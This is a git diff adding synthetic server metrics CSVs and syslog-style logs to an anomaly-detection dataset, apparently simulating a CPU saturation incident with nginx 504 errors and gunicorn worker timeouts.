+2025-07-02T10:06:40Z,98.81,40.5,34.15,0.5,1.06 +2025-07-02T10:06:45Z,99.68,36.82,21.27,0.74,1.61 +2025-07-02T10:06:50Z,98.16,44.19,23.76,0.52,0.79 +2025-07-02T10:06:55Z,99.24,43.37,25.78,1.38,1.2 +2025-07-02T10:07:00Z,98.32,39.55,29.15,1.19,0.8 +2025-07-02T10:07:05Z,98.7,42.88,28.15,0.58,1.34 +2025-07-02T10:07:10Z,98.16,44.66,30.1,1.21,1.66 +2025-07-02T10:07:15Z,98.2,35.62,24.77,1.35,0.77 +2025-07-02T10:07:20Z,98.47,38.94,22.58,1.41,1.33 +2025-07-02T10:07:25Z,99.77,38.87,28.03,0.59,1.1 diff --git a/anom_dataset/scenario_1/anom_1_12.log b/anom_dataset/scenario_1/anom_1_12.log new file mode 100644 index 0000000000000000000000000000000000000000..dd515cb2a2f16e6bfd7b7a1f7f285c8b6f5d7639 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_12.log @@ -0,0 +1,51 @@ +Jul 02 10:00:05 systemd[1]: Started Session 3 of user ubuntu. +Jul 02 10:00:25 systemd[1]: Started Session 8 of user ubuntu. +Jul 02 10:00:30 sshd[2274]: Accepted publickey for ubuntu from 192.168.1.101 port 58584 ssh2 +Jul 02 10:00:34 cron[8912]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:44 sshd[6356]: Accepted publickey for ubuntu from 192.168.1.101 port 50409 ssh2 +Jul 02 10:00:55 nginx[9839]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:00:58 kubelet[17048]: INFO Successfully probed container metrics-collector +Jul 02 10:01:05 cron[11812]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:10 sshd[19827]: Accepted publickey for ubuntu from 192.168.1.101 port 53189 ssh2 +Jul 02 10:01:26 kubelet[1627]: INFO Successfully probed container metrics-collector +Jul 02 10:01:29 kubelet[18834]: INFO Successfully probed container metrics-collector +Jul 02 10:01:33 sshd[10547]: Accepted publickey for ubuntu from 192.168.1.101 port 55875 ssh2 +Jul 02 10:01:43 kubelet[17510]: INFO routine sync completed for pod web-app +Jul 02 10:01:48 systemd[1]: Started Session 1 of user ubuntu. +Jul 02 10:01:55 kubelet[4888]: INFO Successfully probed container metrics-collector +Jul 02 10:02:00 kubelet[4422]: INFO routine sync completed for pod web-app +Jul 02 10:02:05 cron[4137]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:13 cron[9347]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:18 sshd[11057]: Accepted publickey for ubuntu from 192.168.1.101 port 55926 ssh2 +Jul 02 10:02:25 systemd[1]: Started Session 6 of user ubuntu. +Jul 02 10:02:45 cron[1433]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:54 cron[3965]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:06 cron[10687]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:10 cron[6952]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:15 kubelet[2307]: INFO routine sync completed for pod web-app +Jul 02 10:03:25 systemd[1]: Started Session 1 of user ubuntu. +Jul 02 10:03:33 nginx[13068]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:03:41 app-server[1192]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:03:44 nginx[3605]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:03:59 nginx[6475]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:04:09 gunicorn[9193]: [CRITICAL] WORKER TIMEOUT (pid:23003) +Jul 02 10:04:35 nginx[16019]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:04:38 app-server[18893]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:04:44 nginx[14103]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:04:48 gunicorn[7560]: [CRITICAL] WORKER TIMEOUT (pid:28535) +Jul 02 10:04:55 nginx[8520]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:04:59 gunicorn[6076]: [CRITICAL] WORKER TIMEOUT (pid:29191) +Jul 02 10:05:03 nginx[13974]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:05:15 nginx[5607]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:05:24 app-server[6518]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:05:45 nginx[8001]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 02 10:05:56 app-server[19675]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:05:59 gunicorn[15938]: [CRITICAL] WORKER TIMEOUT (pid:27612) +Jul 02 10:06:08 app-server[13344]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:06:36 app-server[8077]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:06:44 gunicorn[14823]: [CRITICAL] WORKER TIMEOUT (pid:28792) +Jul 02 10:06:49 app-server[8569]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:06:58 app-server[3820]: ERROR Request failed: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 10:07:06 gunicorn[11695]: [CRITICAL] WORKER TIMEOUT (pid:27593) +Jul 02 10:07:21 gunicorn[10908]: [CRITICAL] WORKER TIMEOUT (pid:20324) +Jul 02 10:07:24 gunicorn[10654]: [CRITICAL] WORKER TIMEOUT (pid:25896) diff --git a/anom_dataset/scenario_1/anom_1_13.csv b/anom_dataset/scenario_1/anom_1_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..2a11893739f9cfd241cc3bf6a0016b345d1e913f --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T14:00:00Z,11.73,40.09,25.97,0.95,0.88 +2025-08-24T14:00:05Z,11.0,43.1,18.54,0.89,0.9 +2025-08-24T14:00:10Z,15.78,39.42,24.08,0.71,1.32 +2025-08-24T14:00:15Z,12.08,40.06,25.29,0.87,1.81 +2025-08-24T14:00:20Z,20.04,43.13,24.05,1.08,1.21 +2025-08-24T14:00:25Z,14.85,41.47,20.04,0.73,1.05 +2025-08-24T14:00:30Z,16.15,42.0,25.82,0.87,1.33 +2025-08-24T14:00:35Z,15.27,40.24,21.55,1.09,1.13 +2025-08-24T14:00:40Z,10.79,43.1,17.77,0.59,1.35 +2025-08-24T14:00:45Z,15.32,42.0,15.0,0.84,1.38 +2025-08-24T14:00:50Z,18.69,41.38,20.36,0.69,1.27 +2025-08-24T14:00:55Z,19.79,44.33,26.89,0.86,1.11 +2025-08-24T14:01:00Z,12.84,47.07,28.79,0.74,1.01 +2025-08-24T14:01:05Z,10.87,42.74,30.91,0.85,1.45 +2025-08-24T14:01:10Z,12.41,40.57,28.41,0.79,1.07 +2025-08-24T14:01:15Z,18.66,40.07,22.22,1.01,1.39 +2025-08-24T14:01:20Z,19.91,39.88,22.27,1.0,0.72 +2025-08-24T14:01:25Z,8.37,39.81,23.6,0.68,1.18 +2025-08-24T14:01:30Z,12.79,43.2,28.28,1.01,0.82 +2025-08-24T14:01:35Z,13.53,38.64,22.78,0.57,1.13 +2025-08-24T14:01:40Z,12.38,41.97,29.05,1.17,0.78 +2025-08-24T14:01:45Z,14.96,40.26,35.0,0.68,1.38 +2025-08-24T14:01:50Z,10.38,43.75,24.81,1.0,1.41 +2025-08-24T14:01:55Z,8.82,39.08,32.22,1.06,1.83 +2025-08-24T14:02:00Z,16.12,43.31,21.44,1.08,1.27 +2025-08-24T14:02:05Z,15.02,43.59,28.68,1.09,1.13 +2025-08-24T14:02:10Z,16.59,44.03,20.25,0.86,1.25 +2025-08-24T14:02:15Z,18.99,39.77,35.0,0.92,0.97 +2025-08-24T14:02:20Z,15.78,40.28,24.51,1.01,1.68 +2025-08-24T14:02:25Z,12.84,40.77,26.0,0.97,0.69 +2025-08-24T14:02:30Z,19.45,42.37,32.81,0.68,1.12 +2025-08-24T14:02:35Z,19.94,44.41,25.95,0.7,1.37 +2025-08-24T14:02:40Z,21.44,38.49,17.95,1.08,1.11 +2025-08-24T14:02:45Z,30.57,42.54,25.06,0.64,1.52 +2025-08-24T14:02:50Z,31.35,41.51,23.57,0.62,1.36 +2025-08-24T14:02:55Z,31.21,38.29,29.93,0.71,1.84 +2025-08-24T14:03:00Z,34.93,41.73,19.86,1.11,1.27 +2025-08-24T14:03:05Z,37.88,47.46,15.0,0.87,1.15 +2025-08-24T14:03:10Z,41.39,42.57,20.02,0.81,1.08 +2025-08-24T14:03:15Z,40.78,42.15,26.65,0.91,1.24 +2025-08-24T14:03:20Z,48.18,38.78,24.53,0.62,1.38 +2025-08-24T14:03:25Z,48.1,42.69,22.62,0.7,1.12 +2025-08-24T14:03:30Z,48.92,42.57,31.87,0.84,1.69 +2025-08-24T14:03:35Z,56.56,47.17,29.11,1.17,1.06 +2025-08-24T14:03:40Z,56.09,43.12,22.61,0.72,0.96 +2025-08-24T14:03:45Z,62.1,38.1,16.21,0.72,1.5 +2025-08-24T14:03:50Z,65.15,39.85,28.41,0.96,0.84 +2025-08-24T14:03:55Z,67.14,42.32,21.84,0.91,0.94 +2025-08-24T14:04:00Z,70.9,41.6,21.54,0.82,1.33 +2025-08-24T14:04:05Z,72.17,37.01,15.0,1.05,1.24 +2025-08-24T14:04:10Z,72.54,42.9,21.32,0.67,0.8 +2025-08-24T14:04:15Z,77.2,43.68,19.19,0.71,0.5 +2025-08-24T14:04:20Z,77.28,45.02,21.28,0.8,1.27 +2025-08-24T14:04:25Z,81.18,38.28,25.94,0.58,1.49 +2025-08-24T14:04:30Z,82.18,45.39,23.94,0.78,0.5 +2025-08-24T14:04:35Z,88.99,42.78,25.31,1.15,1.36 +2025-08-24T14:04:40Z,88.68,43.97,28.18,1.1,1.39 +2025-08-24T14:04:45Z,91.78,41.65,17.43,0.82,1.29 +2025-08-24T14:04:50Z,94.41,39.96,18.47,1.05,0.87 +2025-08-24T14:04:55Z,97.85,39.42,32.32,0.95,0.84 +2025-08-24T14:05:00Z,98.28,39.17,20.72,0.77,1.14 +2025-08-24T14:05:05Z,97.71,40.84,31.14,1.19,1.51 +2025-08-24T14:05:10Z,98.92,43.34,23.71,0.59,1.21 +2025-08-24T14:05:15Z,99.14,40.74,19.07,0.78,1.47 +2025-08-24T14:05:20Z,99.16,38.95,27.07,0.8,1.36 +2025-08-24T14:05:25Z,100.0,44.57,24.2,1.0,1.3 +2025-08-24T14:05:30Z,99.88,35.0,25.81,0.91,1.22 +2025-08-24T14:05:35Z,98.3,40.5,27.29,0.82,1.57 +2025-08-24T14:05:40Z,97.31,40.76,32.97,0.91,1.53 +2025-08-24T14:05:45Z,99.81,40.09,20.39,1.07,1.08 +2025-08-24T14:05:50Z,98.38,43.76,28.57,0.74,0.85 +2025-08-24T14:05:55Z,97.03,44.53,20.28,0.79,1.18 +2025-08-24T14:06:00Z,98.44,45.02,27.8,0.74,0.95 +2025-08-24T14:06:05Z,98.34,36.05,18.53,0.9,1.84 +2025-08-24T14:06:10Z,97.43,39.61,29.33,0.78,1.24 +2025-08-24T14:06:15Z,98.91,41.1,24.96,1.06,1.28 +2025-08-24T14:06:20Z,100.0,41.61,21.3,0.74,1.32 +2025-08-24T14:06:25Z,97.42,39.41,23.44,0.65,1.11 +2025-08-24T14:06:30Z,94.54,41.7,27.04,0.88,1.09 +2025-08-24T14:06:35Z,98.8,41.45,20.05,1.04,1.51 +2025-08-24T14:06:40Z,100.0,38.08,27.35,1.04,1.05 +2025-08-24T14:06:45Z,98.66,47.53,29.21,0.99,1.18 +2025-08-24T14:06:50Z,98.98,39.57,23.19,0.65,1.53 +2025-08-24T14:06:55Z,95.97,38.23,25.83,0.69,1.14 +2025-08-24T14:07:00Z,99.69,42.49,28.0,0.87,0.56 +2025-08-24T14:07:05Z,100.0,39.91,26.82,0.78,1.08 +2025-08-24T14:07:10Z,99.55,41.88,25.74,0.54,0.89 +2025-08-24T14:07:15Z,95.78,39.85,24.76,0.9,1.53 +2025-08-24T14:07:20Z,95.53,42.21,27.93,0.78,1.14 +2025-08-24T14:07:25Z,99.15,41.74,27.26,1.03,1.53 diff --git a/anom_dataset/scenario_1/anom_1_13.log b/anom_dataset/scenario_1/anom_1_13.log new file mode 100644 index 0000000000000000000000000000000000000000..d9595cf3a77e5fec21e3a4481bc83a7c4a4f1f4e --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_13.log @@ -0,0 +1,183 @@ +Aug 24 14:00:01 server-1 ufw[21775]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:00:01 server-1 ufw[5606]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:00:06 server-1 systemd[1]: Started Session 16 of user ubuntu. +Aug 24 14:00:08 server-1 cron[23576]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:00:10 server-1 nginx[1938]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:00:13 server-1 kubelet[17325]: INFO routine sync completed for pod web-app +Aug 24 14:00:13 server-1 systemd[1]: Started Session 145 of user ubuntu. +Aug 24 14:00:18 server-1 kubelet[15291]: INFO routine sync completed for pod web-app +Aug 24 14:00:20 server-1 sshd[2377]: Accepted publickey for ubuntu from 192.168.1.158 port 54836 ssh2 +Aug 24 14:00:20 server-1 sshd[7257]: Accepted publickey for ubuntu from 192.168.1.167 port 32660 ssh2 +Aug 24 14:00:27 server-1 sshd[23515]: Accepted publickey for ubuntu from 192.168.1.170 port 32209 ssh2 +Aug 24 14:00:33 server-1 ufw[5571]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:00:37 server-1 kubelet[18281]: INFO routine sync completed for pod web-app +Aug 24 14:00:39 server-1 nginx[17711]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:00:44 server-1 kubelet[1965]: INFO routine sync completed for pod web-app +Aug 24 14:00:45 server-1 systemd[1]: Started Session 138 of user ubuntu. +Aug 24 14:00:46 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:00:52 server-1 cron[1825]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:00:52 server-1 cron[6491]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:00:52 server-1 nginx[22012]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:00:55 server-1 systemd[1]: Started Session 133 of user ubuntu. +Aug 24 14:00:59 server-1 systemd[1]: Started Session 165 of user ubuntu. +Aug 24 14:01:00 server-1 nginx[6176]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:01:02 server-1 sshd[16631]: Accepted publickey for ubuntu from 192.168.1.163 port 36677 ssh2 +Aug 24 14:01:03 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:01:06 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:01:07 server-1 ufw[13941]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:01:09 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:01:14 server-1 sshd[7388]: Accepted publickey for ubuntu from 192.168.1.134 port 59135 ssh2 +Aug 24 14:01:16 server-1 nginx[17741]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:01:18 server-1 sshd[16202]: Accepted publickey for ubuntu from 192.168.1.160 port 40518 ssh2 +Aug 24 14:01:20 server-1 ufw[12650]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:01:21 server-1 systemd[1]: Started Session 89 of user ubuntu. +Aug 24 14:01:25 server-1 cron[6177]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:01:26 server-1 kubelet[7244]: INFO routine sync completed for pod web-app +Aug 24 14:01:28 server-1 cron[14397]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:01:30 server-1 cron[9944]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:01:32 server-1 nginx[20766]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:01:33 server-1 kubelet[19022]: INFO routine sync completed for pod web-app +Aug 24 14:01:38 server-1 nginx[24172]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:01:39 server-1 nginx[18250]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:01:40 server-1 nginx[22891]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:01:40 server-1 systemd[1]: Started Session 172 of user ubuntu. +Aug 24 14:01:47 server-1 sshd[3418]: Accepted publickey for ubuntu from 192.168.1.143 port 59040 ssh2 +Aug 24 14:01:53 server-1 sshd[9891]: Accepted publickey for ubuntu from 192.168.1.188 port 56965 ssh2 +Aug 24 14:01:55 server-1 kubelet[22049]: INFO routine sync completed for pod web-app +Aug 24 14:01:59 server-1 nginx[17331]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:02:00 server-1 ufw[6877]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:02:04 server-1 sshd[24989]: Accepted publickey for ubuntu from 192.168.1.119 port 35991 ssh2 +Aug 24 14:02:04 server-1 systemd[1]: Started Session 155 of user ubuntu. +Aug 24 14:02:07 server-1 kubelet[6817]: INFO routine sync completed for pod web-app +Aug 24 14:02:09 server-1 cron[7903]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:02:09 server-1 nginx[23229]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:02:10 server-1 nginx[7083]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:02:12 server-1 ufw[23399]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:02:13 server-1 cron[8386]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:02:16 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:02:17 server-1 nginx[17735]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:02:22 server-1 cron[11550]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:02:24 server-1 cron[23529]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:02:27 server-1 sshd[19106]: Accepted publickey for ubuntu from 192.168.1.149 port 43129 ssh2 +Aug 24 14:02:28 server-1 sshd[4276]: Accepted publickey for ubuntu from 192.168.1.191 port 32973 ssh2 +Aug 24 14:02:29 server-1 sshd[13748]: Accepted publickey for ubuntu from 192.168.1.113 port 31654 ssh2 +Aug 24 14:02:30 server-1 gunicorn[13719]: [WARNING] Worker taking too long to respond. +Aug 24 14:02:31 server-1 ufw[15299]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:02:32 server-1 sshd[1312]: Accepted publickey for ubuntu from 192.168.1.170 port 57396 ssh2 +Aug 24 14:02:36 server-1 sshd[24304]: Accepted publickey for ubuntu from 192.168.1.155 port 31708 ssh2 +Aug 24 14:02:37 server-1 cron[16005]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:02:38 server-1 webapp[17605]: ERROR Request timeout after 24512ms: GET /api/v1/data +Aug 24 14:02:40 server-1 webapp[10756]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:02:41 server-1 webapp[13607]: ERROR Request timeout after 21905ms: GET /api/v1/data +Aug 24 14:02:47 server-1 nginx[11316]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:02:53 server-1 gunicorn[17394]: [WARNING] Worker taking too long to respond. +Aug 24 14:02:57 server-1 nginx[10239]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:02:58 server-1 gunicorn[12722]: [WARNING] Worker taking too long to respond. +Aug 24 14:02:58 server-1 nginx[1811]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:03:00 server-1 nginx[8602]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:03:09 server-1 kubelet[16914]: INFO routine sync completed for pod web-app +Aug 24 14:03:11 server-1 webapp[17939]: ERROR Request timeout after 25401ms: GET /api/v1/data +Aug 24 14:03:12 server-1 gunicorn[11199]: [WARNING] Worker taking too long to respond. +Aug 24 14:03:13 server-1 webapp[6101]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:03:15 server-1 webapp[20293]: ERROR Request timeout after 20049ms: GET /api/v1/data +Aug 24 14:03:16 server-1 gunicorn[7515]: [WARNING] Worker taking too long to respond. +Aug 24 14:03:23 server-1 cron[21405]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:03:27 server-1 nginx[15228]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:03:33 server-1 webapp[16329]: ERROR Request timeout after 22226ms: GET /api/v1/data +Aug 24 14:03:33 server-1 webapp[7867]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:03:34 server-1 kubelet[2853]: INFO routine sync completed for pod web-app +Aug 24 14:03:35 server-1 nginx[11859]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:03:37 server-1 webapp[22418]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:03:38 server-1 ufw[5347]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:03:40 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:03:40 server-1 webapp[22163]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:03:42 server-1 gunicorn[13442]: [WARNING] Worker taking too long to respond. +Aug 24 14:03:45 server-1 nginx[23889]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:03:52 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:03:57 server-1 ufw[2920]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:03:59 server-1 nginx[6775]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:04:01 server-1 nginx[18078]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:04:03 server-1 nginx[4528]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:04:04 server-1 webapp[19949]: ERROR Request timeout after 26382ms: GET /api/v1/data +Aug 24 14:04:07 server-1 systemd[1]: Finished Daily apt download activities. +Aug 24 14:04:09 server-1 gunicorn[17827]: [WARNING] Worker taking too long to respond. +Aug 24 14:04:13 server-1 webapp[12092]: ERROR Request timeout after 27361ms: GET /api/v1/data +Aug 24 14:04:14 server-1 ufw[15656]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:04:15 server-1 gunicorn[17796]: [WARNING] Worker taking too long to respond. +Aug 24 14:04:16 server-1 gunicorn[16564]: [WARNING] Worker taking too long to respond. +Aug 24 14:04:17 server-1 webapp[16437]: ERROR Request timeout after 28000ms: GET /api/v1/data +Aug 24 14:04:20 server-1 gunicorn[3161]: [WARNING] Worker taking too long to respond. +Aug 24 14:04:26 server-1 webapp[23234]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:04:28 server-1 gunicorn[2569]: [WARNING] Worker taking too long to respond. +Aug 24 14:04:31 server-1 webapp[6652]: ERROR Request timeout after 22644ms: GET /api/v1/data +Aug 24 14:04:36 server-1 nginx[2833]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:04:37 server-1 nginx[24923]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:04:38 server-1 webapp[15962]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:04:42 server-1 ufw[17262]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:04:49 server-1 cron[16464]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:04:51 server-1 nginx[17815]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:04:55 server-1 gunicorn[2928]: [WARNING] Worker taking too long to respond. +Aug 24 14:04:59 server-1 webapp[4487]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:04:59 server-1 webapp[7900]: ERROR Request timeout after 20967ms: GET /api/v1/data +Aug 24 14:05:00 server-1 systemd[1]: Started Session 192 of user ubuntu. +Aug 24 14:05:01 server-1 gunicorn[23138]: [WARNING] Worker taking too long to respond. +Aug 24 14:05:01 server-1 webapp[8406]: ERROR Request timeout after 24674ms: GET /api/v1/data +Aug 24 14:05:09 server-1 cron[20480]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:05:10 server-1 gunicorn[10522]: [WARNING] Worker taking too long to respond. +Aug 24 14:05:10 server-1 webapp[15323]: ERROR Request timeout after 21281ms: GET /api/v1/data +Aug 24 14:05:13 server-1 webapp[21956]: ERROR Request timeout after 28141ms: GET /api/v1/data +Aug 24 14:05:17 server-1 nginx[3493]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:05:18 server-1 ufw[2139]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:05:18 server-1 webapp[7967]: ERROR Request timeout after 25819ms: GET /api/v1/data +Aug 24 14:05:20 server-1 cron[21849]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:05:23 server-1 nginx[24895]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:05:26 server-1 nginx[6064]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:05:27 server-1 ufw[15447]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:05:29 server-1 nginx[7929]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:05:30 server-1 webapp[11540]: ERROR Request timeout after 26419ms: GET /api/v1/data +Aug 24 14:05:33 server-1 gunicorn[7197]: [WARNING] Worker taking too long to respond. +Aug 24 14:05:33 server-1 webapp[2835]: ERROR Request timeout after 28204ms: GET /api/v1/data +Aug 24 14:05:36 server-1 systemd[1]: Started Session 81 of user ubuntu. +Aug 24 14:05:38 server-1 webapp[13251]: ERROR Request timeout after 26066ms: GET /api/v1/data +Aug 24 14:05:42 server-1 nginx[6764]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:05:47 server-1 nginx[14335]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:05:49 server-1 nginx[20786]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:05:54 server-1 webapp[17335]: ERROR Request timeout after 29088ms: GET /api/v1/data +Aug 24 14:05:55 server-1 nginx[1396]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:05:57 server-1 nginx[8028]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:05:59 server-1 cron[18733]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:06:02 server-1 sshd[3770]: Accepted publickey for ubuntu from 192.168.1.170 port 52470 ssh2 +Aug 24 14:06:03 server-1 nginx[12880]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:06:04 server-1 webapp[13107]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:06:05 server-1 webapp[20907]: ERROR Request timeout after 20545ms: GET /api/v1/data +Aug 24 14:06:10 server-1 nginx[5566]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:06:11 server-1 ufw[17791]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:06:13 server-1 kubelet[4450]: INFO routine sync completed for pod web-app +Aug 24 14:06:15 server-1 kubelet[4902]: INFO routine sync completed for pod web-app +Aug 24 14:06:16 server-1 webapp[12317]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:06:17 server-1 webapp[16525]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:06:23 server-1 gunicorn[22458]: [WARNING] Worker taking too long to respond. +Aug 24 14:06:24 server-1 webapp[18647]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:06:29 server-1 webapp[4051]: ERROR Request timeout after 22486ms: GET /api/v1/data +Aug 24 14:06:34 server-1 cron[11153]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:06:36 server-1 webapp[13651]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:06:43 server-1 gunicorn[5435]: [WARNING] Worker taking too long to respond. +Aug 24 14:06:45 server-1 webapp[24171]: ERROR Request timeout after 22209ms: GET /api/v1/data +Aug 24 14:06:49 server-1 nginx[5168]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:06:53 server-1 webapp[9446]: ERROR Request timeout after 28039ms: GET /api/v1/data +Aug 24 14:06:56 server-1 webapp[2546]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:06:58 server-1 gunicorn[11361]: [WARNING] Worker taking too long to respond. +Aug 24 14:06:58 server-1 webapp[21607]: ERROR Request timeout after 28606ms: GET /api/v1/data +Aug 24 14:07:02 server-1 webapp[20414]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:07:04 server-1 nginx[13869]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 24 14:07:04 server-1 nginx[1772]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:07:08 server-1 gunicorn[16592]: [WARNING] Worker taking too long to respond. +Aug 24 14:07:11 server-1 webapp[6328]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:07:17 server-1 